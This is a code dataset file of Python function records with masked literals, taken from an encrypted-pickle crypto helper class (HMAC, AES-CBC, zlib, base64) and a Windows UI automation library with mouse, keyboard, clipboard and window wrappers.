{"signature": "@staticmethod<EOL><INDENT>def _get_hashlib(digestmode):<DEDENT>", "body": "if digestmode == '<STR_LIT>':<EOL><INDENT>return SHA<EOL><DEDENT>if digestmode == '<STR_LIT>':<EOL><INDENT>return SHA256<EOL><DEDENT>elif digestmode  == '<STR_LIT>':<EOL><INDENT>return SHA384<EOL><DEDENT>elif digestmode == '<STR_LIT>':<EOL><INDENT>return SHA512<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% digestmode)<EOL><DEDENT>", "docstring": "Generate HMAC hash", "id": "f1760:c0:m36"}
{"signature": "@staticmethod<EOL><INDENT>def _hmac_generate(data, algorithm, key):<DEDENT>", "body": "digestmod = EncryptedPickle._get_hashlib(algorithm['<STR_LIT>'])<EOL>return HMAC.new(key, data, digestmod).digest()<EOL>", "docstring": "Generate HMAC hash", "id": "f1760:c0:m37"}
{"signature": "@staticmethod<EOL><INDENT>def _aes_encrypt(data, algorithm, key):<DEDENT>", "body": "if algorithm['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>mode = AES.MODE_CBC<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% algorithm['<STR_LIT>'])<EOL><DEDENT>iv_size = algorithm['<STR_LIT>']<EOL>block_size = iv_size<EOL>include_iv = True<EOL>if '<STR_LIT>'in algorithm and algorithm['<STR_LIT>']:<EOL><INDENT>if len(algorithm['<STR_LIT>']) != algorithm['<STR_LIT>']:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>iv_value = algorithm['<STR_LIT>']<EOL>include_iv = False<EOL><DEDENT>else:<EOL><INDENT>iv_value = get_random_bytes(iv_size)<EOL><DEDENT>numpad = block_size - (len(data) % block_size)<EOL>data = data + numpad * chr(numpad)<EOL>enc = AES.new(key, mode, iv_value).encrypt(data)<EOL>if include_iv:<EOL><INDENT>enc = iv_value + enc<EOL><DEDENT>return enc<EOL>", "docstring": "AES encrypt", "id": "f1760:c0:m38"}
{"signature": "@staticmethod<EOL><INDENT>def _aes_decrypt(data, algorithm, key):<DEDENT>", "body": "if algorithm['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>mode = AES.MODE_CBC<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% algorithm['<STR_LIT>'])<EOL><DEDENT>iv_size = algorithm['<STR_LIT>']<EOL>if '<STR_LIT>' in algorithm and algorithm['<STR_LIT>']:<EOL><INDENT>if len(algorithm['<STR_LIT>']) != algorithm['<STR_LIT>']:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>iv_value = algorithm['<STR_LIT>']<EOL>enc = data<EOL><DEDENT>else:<EOL><INDENT>iv_value = data[:iv_size]<EOL>enc = data[iv_size:]<EOL><DEDENT>dec = AES.new(key, mode, iv_value).decrypt(enc)<EOL>numpad = ord(dec[-<NUM_LIT:1>])<EOL>dec = dec[<NUM_LIT:0>:-numpad]<EOL>return dec<EOL>", "docstring": "AES decrypt", "id": "f1760:c0:m39"}
{"signature": "@staticmethod<EOL><INDENT>def _zlib_compress(data, algorithm):<DEDENT>", "body": "if algorithm['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>encoder = zlib.compressobj(algorithm['<STR_LIT>'], zlib.DEFLATED, -<NUM_LIT:15>)<EOL>compressed = encoder.compress(data)<EOL>compressed += encoder.flush()<EOL>return compressed<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% algorithm['<STR_LIT>'])<EOL><DEDENT>", "docstring": "GZIP compress", "id": "f1760:c0:m40"}
{"signature": "@staticmethod<EOL><INDENT>def _zlib_decompress(data, algorithm):<DEDENT>", "body": "if algorithm['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>return zlib.decompress(data, -<NUM_LIT:15>)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% algorithm['<STR_LIT>'])<EOL><DEDENT>", "docstring": "GZIP decompress", "id": "f1760:c0:m41"}
{"signature": "def urlsafe_nopadding_b64encode(data):", "body": "return urlsafe_b64encode(data).rstrip('<STR_LIT:=>')<EOL>", "docstring": "URL safe Base64 encode without padding (=)", "id": "f1762:m0"}
{"signature": "def urlsafe_nopadding_b64decode(data):", "body": "padding = len(data) % <NUM_LIT:4><EOL>if padding != <NUM_LIT:0>:<EOL><INDENT>padding = <NUM_LIT:4> - padding<EOL><DEDENT>padding = '<STR_LIT:=>' * padding<EOL>data = data + padding<EOL>return urlsafe_b64decode(data)<EOL>", "docstring": "URL safe Base64 decode without padding (=)", "id": "f1762:m1"}
{"signature": "def const_equal(str_a, str_b):", "body": "if len(str_a) != len(str_b):<EOL><INDENT>return False<EOL><DEDENT>result = True<EOL>for i in range(len(str_a)):<EOL><INDENT>result &= (str_a[i] == str_b[i])<EOL><DEDENT>return result<EOL>", "docstring": "Constant time string comparison", "id": "f1762:m2"}
{"signature": "def DemoCN():", "body": "thisWindow = auto.GetConsoleWindow()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>auto.SendKeys('<STR_LIT>')<EOL>while not isinstance(auto.GetFocusedControl(), auto.EditControl):<EOL><INDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>auto.SendKeys('<STR_LIT>')<EOL>cmdWindow = auto.WindowControl(RegexName = '<STR_LIT>')<EOL>cmdWindow.TitleBarControl().RightClick()<EOL>auto.SendKey(auto.Keys.VK_P)<EOL>optionWindow = cmdWindow.WindowControl(SubName = '<STR_LIT>')<EOL>optionWindow.TabItemControl(SubName = '<STR_LIT>').Click()<EOL>optionTab = optionWindow.PaneControl(SubName = '<STR_LIT>')<EOL>checkBox = optionTab.CheckBoxControl(AutomationId = '<STR_LIT>')<EOL>if checkBox.GetTogglePattern().ToggleState != auto.ToggleState.On:<EOL><INDENT>checkBox.Click()<EOL><DEDENT>checkBox = optionTab.CheckBoxControl(AutomationId = '<STR_LIT>')<EOL>if checkBox.GetTogglePattern().ToggleState != auto.ToggleState.On:<EOL><INDENT>checkBox.Click()<EOL><DEDENT>optionWindow.TabItemControl(SubName = '<STR_LIT>').Click()<EOL>layoutTab = optionWindow.PaneControl(SubName = '<STR_LIT>')<EOL>layoutTab.EditControl(AutomationId='<STR_LIT>').GetValuePattern().SetValue('<STR_LIT>')<EOL>layoutTab.EditControl(AutomationId='<STR_LIT>').GetValuePattern().SetValue('<STR_LIT>')<EOL>layoutTab.EditControl(AutomationId='<STR_LIT>').GetValuePattern().SetValue('<STR_LIT>')<EOL>layoutTab.EditControl(AutomationId='<STR_LIT>').GetValuePattern().SetValue('<STR_LIT>')<EOL>optionWindow.ButtonControl(AutomationId = '<STR_LIT:1>').Click()<EOL>cmdWindow.SetActive()<EOL>rect = cmdWindow.BoundingRectangle<EOL>auto.DragDrop(rect.left + <NUM_LIT:50>, rect.top + <NUM_LIT:10>, <NUM_LIT:50>, <NUM_LIT:30>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>subprocess.Popen('<STR_LIT>')<EOL>notepadWindow = auto.WindowControl(searchDepth = <NUM_LIT:1>, ClassName = '<STR_LIT>')<EOL>cx, cy = auto.GetScreenSize()<EOL>notepadWindow.MoveWindow(cx // <NUM_LIT:2>, <NUM_LIT:20>, cx // <NUM_LIT:2>, cy // <NUM_LIT:2>)<EOL>time.sleep(<NUM_LIT:0.5>)<EOL>notepadWindow.EditControl().SendKeys('<STR_LIT>', <NUM_LIT>)<EOL>time.sleep(<NUM_LIT:1>)<EOL>dir = os.path.dirname(__file__)<EOL>scriptPath = os.path.abspath(os.path.join(dir, '<STR_LIT>'))<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>time.sleep(<NUM_LIT:3>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>time.sleep(<NUM_LIT:3>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>notepadWindow.SetActive()<EOL>notepadWindow.MoveCursorToMyCenter()<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SetActive(waitTime = <NUM_LIT:2>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>notepadWindow.SetActive()<EOL>notepadWindow.MoveCursorToMyCenter()<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SetActive(waitTime = <NUM_LIT:2>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>notepadWindow.SetActive()<EOL>notepadWindow.EditControl().Click()<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SetActive(waitTime = <NUM_LIT:2>)<EOL>time.sleep(<NUM_LIT:3>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.WriteLine('<STR_LIT>', auto.ConsoleColor.Green)<EOL>input()<EOL>", "docstring": "for Chinese language", "id": "f1769:m0"}
{"signature": "def DemoEN():", "body": "thisWindow = auto.GetConsoleWindow()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>auto.SendKeys('<STR_LIT>')<EOL>while not isinstance(auto.GetFocusedControl(), auto.EditControl):<EOL><INDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>auto.SendKeys('<STR_LIT>')<EOL>cmdWindow = auto.WindowControl(SubName = '<STR_LIT>')<EOL>rect = cmdWindow.BoundingRectangle<EOL>auto.DragDrop(rect.left + <NUM_LIT:50>, rect.top + <NUM_LIT:10>, <NUM_LIT:50>, <NUM_LIT:10>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>subprocess.Popen('<STR_LIT>')<EOL>notepadWindow = auto.WindowControl(searchDepth = <NUM_LIT:1>, ClassName = '<STR_LIT>')<EOL>cx, cy = auto.GetScreenSize()<EOL>notepadWindow.MoveWindow(cx // <NUM_LIT:2>, <NUM_LIT:20>, cx // <NUM_LIT:2>, cy // <NUM_LIT:2>)<EOL>time.sleep(<NUM_LIT:0.5>)<EOL>notepadWindow.EditControl().SendKeys('<STR_LIT>', <NUM_LIT>)<EOL>time.sleep(<NUM_LIT:1>)<EOL>dir = os.path.dirname(__file__)<EOL>scriptPath = os.path.abspath(os.path.join(dir, '<STR_LIT>'))<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>time.sleep(<NUM_LIT:3>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>time.sleep(<NUM_LIT:3>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>notepadWindow.SetActive()<EOL>notepadWindow.MoveCursorToMyCenter()<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SetActive(waitTime = <NUM_LIT:2>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>notepadWindow.SetActive()<EOL>notepadWindow.MoveCursorToMyCenter()<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SetActive(waitTime = <NUM_LIT:2>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.ColorfullyWrite('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SendKeys('<STR_LIT>'.format(scriptPath) + '<STR_LIT>', <NUM_LIT>)<EOL>notepadWindow.SetActive()<EOL>notepadWindow.EditControl().Click()<EOL>time.sleep(<NUM_LIT:3>)<EOL>cmdWindow.SetActive(waitTime = <NUM_LIT:2>)<EOL>time.sleep(<NUM_LIT:3>)<EOL>thisWindow.SetActive()<EOL>auto.Logger.WriteLine('<STR_LIT>', auto.ConsoleColor.Green)<EOL>input()<EOL>", "docstring": "for other language", "id": "f1769:m1"}
{"signature": "def threadFunc(root):", "body": "<EOL>th = threading.currentThread()<EOL>auto.Logger.WriteLine('<STR_LIT>'.format(th.ident, th.name), auto.ConsoleColor.Cyan)<EOL>time.sleep(<NUM_LIT:2>)<EOL>auto.InitializeUIAutomationInCurrentThread()<EOL>auto.GetConsoleWindow().CaptureToImage('<STR_LIT>')<EOL>newRoot = auto.GetRootControl()    <EOL>auto.EnumAndLogControl(newRoot, <NUM_LIT:1>)<EOL>auto.UninitializeUIAutomationInCurrentThread()<EOL>auto.Logger.WriteLine('<STR_LIT>'.format(th.ident, th.name), auto.ConsoleColor.Cyan)<EOL>", "docstring": "If you want to use functionalities related to Controls and Patterns in a new thread.\nYou must call InitializeUIAutomationInCurrentThread first in the thread\n    and call UninitializeUIAutomationInCurrentThread when the thread exits.\nBut you can't use use a Control or a Pattern created in a different thread.\nSo you can't create a Control or a Pattern in main thread and then pass it to a new thread and use it.", "id": "f1777:m0"}
{"signature": "def SetClipboardText(text: str) -> bool:", "body": "if ctypes.windll.user32.OpenClipboard(<NUM_LIT:0>):<EOL><INDENT>ctypes.windll.user32.EmptyClipboard()<EOL>textByteLen = (len(text) + <NUM_LIT:1>) * <NUM_LIT:2><EOL>hClipboardData = ctypes.windll.kernel32.GlobalAlloc(<NUM_LIT:0>, textByteLen)  <EOL>hDestText = ctypes.windll.kernel32.GlobalLock(hClipboardData)<EOL>ctypes.cdll.msvcrt.wcsncpy(ctypes.c_wchar_p(hDestText), ctypes.c_wchar_p(text), textByteLen // <NUM_LIT:2>)<EOL>ctypes.windll.kernel32.GlobalUnlock(hClipboardData)<EOL>ctypes.windll.user32.SetClipboardData(<NUM_LIT>, hClipboardData)  <EOL>ctypes.windll.user32.CloseClipboard()<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Return bool, True if succeed otherwise False.", "id": "f1782:m1"}
{"signature": "def SetConsoleColor(color: int) -> bool:", "body": "global _ConsoleOutputHandle<EOL>global _DefaultConsoleColor<EOL>if not _DefaultConsoleColor:<EOL><INDENT>if not _ConsoleOutputHandle:<EOL><INDENT>_ConsoleOutputHandle = ctypes.windll.kernel32.GetStdHandle(_StdOutputHandle)<EOL><DEDENT>bufferInfo = ConsoleScreenBufferInfo()<EOL>ctypes.windll.kernel32.GetConsoleScreenBufferInfo(_ConsoleOutputHandle, ctypes.byref(bufferInfo))<EOL>_DefaultConsoleColor = int(bufferInfo.wAttributes & <NUM_LIT>)<EOL><DEDENT>if sys.stdout:<EOL><INDENT>sys.stdout.flush()<EOL><DEDENT>bool(ctypes.windll.kernel32.SetConsoleTextAttribute(_ConsoleOutputHandle, color))<EOL>", "docstring": "Change the text color on console window.\ncolor: int, a value in class `ConsoleColor`.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m2"}
{"signature": "def ResetConsoleColor() -> bool:", "body": "if sys.stdout:<EOL><INDENT>sys.stdout.flush()<EOL><DEDENT>bool(ctypes.windll.kernel32.SetConsoleTextAttribute(_ConsoleOutputHandle, _DefaultConsoleColor))<EOL>", "docstring": "Reset to the default text color on console window.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m3"}
{"signature": "def WindowFromPoint(x: int, y: int) -> int:", "body": "return ctypes.windll.user32.WindowFromPoint(ctypes.wintypes.POINT(x, y))<EOL>", "docstring": "WindowFromPoint from Win32.\nReturn int, a native window handle.", "id": "f1782:m4"}
{"signature": "def GetCursorPos() -> tuple:", "body": "point = ctypes.wintypes.POINT(<NUM_LIT:0>, <NUM_LIT:0>)<EOL>ctypes.windll.user32.GetCursorPos(ctypes.byref(point))<EOL>return point.x, point.y<EOL>", "docstring": "GetCursorPos from Win32.\nGet current mouse cursor positon.\nReturn tuple, two ints tuple (x, y).", "id": "f1782:m5"}
{"signature": "def SetCursorPos(x: int, y: int) -> bool:", "body": "return bool(ctypes.windll.user32.SetCursorPos(x, y))<EOL>", "docstring": "SetCursorPos from Win32.\nSet mouse cursor to point x, y.\nx: int.\ny: int.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m6"}
{"signature": "def GetDoubleClickTime() -> int:", "body": "return ctypes.windll.user32.GetDoubleClickTime()<EOL>", "docstring": "GetDoubleClickTime from Win32.\nReturn int, in milliseconds.", "id": "f1782:m7"}
{"signature": "def mouse_event(dwFlags: int, dx: int, dy: int, dwData: int, dwExtraInfo: int) -> None:", "body": "ctypes.windll.user32.mouse_event(dwFlags, dx, dy, dwData, dwExtraInfo)<EOL>", "docstring": "mouse_event from Win32.", "id": "f1782:m8"}
{"signature": "def keybd_event(bVk: int, bScan: int, dwFlags: int, dwExtraInfo: int) -> None:", "body": "ctypes.windll.user32.keybd_event(bVk, bScan, dwFlags, dwExtraInfo)<EOL>", "docstring": "keybd_event from Win32.", "id": "f1782:m9"}
{"signature": "def PostMessage(handle: int, msg: int, wParam: int, lParam: int) -> bool:", "body": "return bool(ctypes.windll.user32.PostMessageW(ctypes.c_void_p(handle), msg, wParam, lParam))<EOL>", "docstring": "PostMessage from Win32.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m10"}
{"signature": "def SendMessage(handle: int, msg: int, wParam: int, lParam: int) -> int:", "body": "return ctypes.windll.user32.SendMessageW(ctypes.c_void_p(handle), msg, wParam, lParam)<EOL>", "docstring": "SendMessage from Win32.\nReturn int, the return value specifies the result of the message processing;\n            it depends on the message sent.", "id": "f1782:m11"}
{"signature": "def Click(x: int, y: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "SetCursorPos(x, y)<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>mouse_event(MouseEventFlag.LeftDown | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(<NUM_LIT>)<EOL>mouse_event(MouseEventFlag.LeftUp | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Simulate mouse click at point x, y.\nx: int.\ny: int.\nwaitTime: float.", "id": "f1782:m12"}
{"signature": "def MiddleClick(x: int, y: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "SetCursorPos(x, y)<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>mouse_event(MouseEventFlag.MiddleDown | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(<NUM_LIT>)<EOL>mouse_event(MouseEventFlag.MiddleUp | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Simulate mouse middle click at point x, y.\nx: int.\ny: int.\nwaitTime: float.", "id": "f1782:m13"}
{"signature": "def RightClick(x: int, y: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "SetCursorPos(x, y)<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>mouse_event(MouseEventFlag.RightDown | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(<NUM_LIT>)<EOL>mouse_event(MouseEventFlag.RightUp | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Simulate mouse right click at point x, y.\nx: int.\ny: int.\nwaitTime: float.", "id": "f1782:m14"}
{"signature": "def PressMouse(x: int, y: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "SetCursorPos(x, y)<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>mouse_event(MouseEventFlag.LeftDown | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Press left mouse.\nx: int.\ny: int.\nwaitTime: float.", "id": "f1782:m15"}
{"signature": "def ReleaseMouse(waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "x, y = GetCursorPos()<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>mouse_event(MouseEventFlag.LeftUp | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Release left mouse.\nwaitTime: float.", "id": "f1782:m16"}
{"signature": "def RightPressMouse(x: int, y: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "SetCursorPos(x, y)<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>mouse_event(MouseEventFlag.RightDown | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Press right mouse.\nx: int.\ny: int.\nwaitTime: float.", "id": "f1782:m17"}
{"signature": "def RightReleaseMouse(waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "x, y = GetCursorPos()<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>mouse_event(MouseEventFlag.RightUp | MouseEventFlag.Absolute, x * <NUM_LIT> // screenWidth, y * <NUM_LIT> // screenHeight, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Release right mouse.\nwaitTime: float.", "id": "f1782:m18"}
{"signature": "def MoveTo(x: int, y: int, moveSpeed: float = <NUM_LIT:1>, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "if moveSpeed <= <NUM_LIT:0>:<EOL><INDENT>moveTime = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>moveTime = MAX_MOVE_SECOND / moveSpeed<EOL><DEDENT>curX, curY = GetCursorPos()<EOL>xCount = abs(x - curX)<EOL>yCount = abs(y - curY)<EOL>maxPoint = max(xCount, yCount)<EOL>screenWidth, screenHeight = GetScreenSize()<EOL>maxSide = max(screenWidth, screenHeight)<EOL>minSide = min(screenWidth, screenHeight)<EOL>if maxPoint > minSide:<EOL><INDENT>maxPoint = minSide<EOL><DEDENT>if maxPoint < maxSide:<EOL><INDENT>maxPoint = <NUM_LIT:100> + int((maxSide - <NUM_LIT:100>) / maxSide * maxPoint)<EOL>moveTime = moveTime * maxPoint * <NUM_LIT:1.0> / maxSide<EOL><DEDENT>stepCount = maxPoint // <NUM_LIT:20><EOL>if stepCount > <NUM_LIT:1>:<EOL><INDENT>xStep = (x - curX) * <NUM_LIT:1.0> / stepCount<EOL>yStep = (y - curY) * <NUM_LIT:1.0> / stepCount<EOL>interval = moveTime / stepCount<EOL>for i in range(stepCount):<EOL><INDENT>cx = curX + int(xStep * i)<EOL>cy = curY + int(yStep * i)<EOL>SetCursorPos(cx, cy)<EOL>time.sleep(interval)<EOL><DEDENT><DEDENT>SetCursorPos(x, y)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Simulate mouse move to point x, y from current cursor.\nx: int.\ny: int.\nmoveSpeed: float, 1 normal speed, < 1 move slower, > 1 move faster.\nwaitTime: float.", "id": "f1782:m19"}
{"signature": "def DragDrop(x1: int, y1: int, x2: int, y2: int, moveSpeed: float = <NUM_LIT:1>, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "PressMouse(x1, y1, <NUM_LIT>)<EOL>MoveTo(x2, y2, moveSpeed, <NUM_LIT>)<EOL>ReleaseMouse(waitTime)<EOL>", "docstring": "Simulate mouse left button drag from point x1, y1 drop to point x2, y2.\nx1: int.\ny1: int.\nx2: int.\ny2: int.\nmoveSpeed: float, 1 normal speed, < 1 move slower, > 1 move faster.\nwaitTime: float.", "id": "f1782:m20"}
{"signature": "def RightDragDrop(x1: int, y1: int, x2: int, y2: int, moveSpeed: float = <NUM_LIT:1>, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "RightPressMouse(x1, y1, <NUM_LIT>)<EOL>MoveTo(x2, y2, moveSpeed, <NUM_LIT>)<EOL>RightReleaseMouse(waitTime)<EOL>", "docstring": "Simulate mouse right button drag from point x1, y1 drop to point x2, y2.\nx1: int.\ny1: int.\nx2: int.\ny2: int.\nmoveSpeed: float, 1 normal speed, < 1 move slower, > 1 move faster.\nwaitTime: float.", "id": "f1782:m21"}
{"signature": "def WheelDown(wheelTimes: int = <NUM_LIT:1>, interval: float = <NUM_LIT>, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "for i in range(wheelTimes):<EOL><INDENT>mouse_event(MouseEventFlag.Wheel, <NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT>, <NUM_LIT:0>)    <EOL>time.sleep(interval)<EOL><DEDENT>time.sleep(waitTime)<EOL>", "docstring": "Simulate mouse wheel down.\nwheelTimes: int.\ninterval: float.\nwaitTime: float.", "id": "f1782:m22"}
{"signature": "def WheelUp(wheelTimes: int = <NUM_LIT:1>, interval: float = <NUM_LIT>, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "for i in range(wheelTimes):<EOL><INDENT>mouse_event(MouseEventFlag.Wheel, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT>, <NUM_LIT:0>) <EOL>time.sleep(interval)<EOL><DEDENT>time.sleep(waitTime)<EOL>", "docstring": "Simulate mouse wheel up.\nwheelTimes: int.\ninterval: float.\nwaitTime: float.", "id": "f1782:m23"}
{"signature": "def GetScreenSize() -> tuple:", "body": "SM_CXSCREEN = <NUM_LIT:0><EOL>SM_CYSCREEN = <NUM_LIT:1><EOL>w = ctypes.windll.user32.GetSystemMetrics(SM_CXSCREEN)<EOL>h = ctypes.windll.user32.GetSystemMetrics(SM_CYSCREEN)<EOL>return w, h<EOL>", "docstring": "Return tuple, two ints tuple (width, height).", "id": "f1782:m24"}
{"signature": "def GetPixelColor(x: int, y: int, handle: int = <NUM_LIT:0>) -> int:", "body": "hdc = ctypes.windll.user32.GetWindowDC(ctypes.c_void_p(handle))<EOL>bgr = ctypes.windll.gdi32.GetPixel(hdc, x, y)<EOL>ctypes.windll.user32.ReleaseDC(ctypes.c_void_p(handle), hdc)<EOL>return bgr<EOL>", "docstring": "Get pixel color of a native window.\nx: int.\ny: int.\nhandle: int, the handle of a native window.\nReturn int, the bgr value of point (x,y).\nr = bgr & 0x0000FF\ng = (bgr & 0x00FF00) >> 8\nb = (bgr & 0xFF0000) >> 16\nIf handle is 0, get pixel from Desktop window(root control).\nNote:\nNot all devices support GetPixel.\nAn application should call GetDeviceCaps to determine whether a specified device supports this function.\nFor example, console window doesn't support.", "id": "f1782:m25"}
{"signature": "def MessageBox(content: str, title: str, flags: int = MB.Ok) -> int:", "body": "return ctypes.windll.user32.MessageBoxW(ctypes.c_void_p(<NUM_LIT:0>), ctypes.c_wchar_p(content), ctypes.c_wchar_p(title), flags)<EOL>", "docstring": "MessageBox from Win32.\ncontent: str.\ntitle: str.\nflags: int, a value or some combined values in class `MB`.\nReturn int, a value in MB whose name starts with Id, such as MB.IdOk", "id": "f1782:m26"}
{"signature": "def SetForegroundWindow(handle: int) -> bool:", "body": "return bool(ctypes.windll.user32.SetForegroundWindow(ctypes.c_void_p(handle)))<EOL>", "docstring": "SetForegroundWindow from Win32.\nhandle: int, the handle of a native window.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m27"}
{"signature": "def BringWindowToTop(handle: int) -> bool:", "body": "return bool(ctypes.windll.user32.BringWindowToTop(ctypes.c_void_p(handle)))<EOL>", "docstring": "BringWindowToTop from Win32.\nhandle: int, the handle of a native window.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m28"}
{"signature": "def SwitchToThisWindow(handle: int) -> None:", "body": "ctypes.windll.user32.SwitchToThisWindow(ctypes.c_void_p(handle), <NUM_LIT:1>)<EOL>", "docstring": "SwitchToThisWindow from Win32.\nhandle: int, the handle of a native window.", "id": "f1782:m29"}
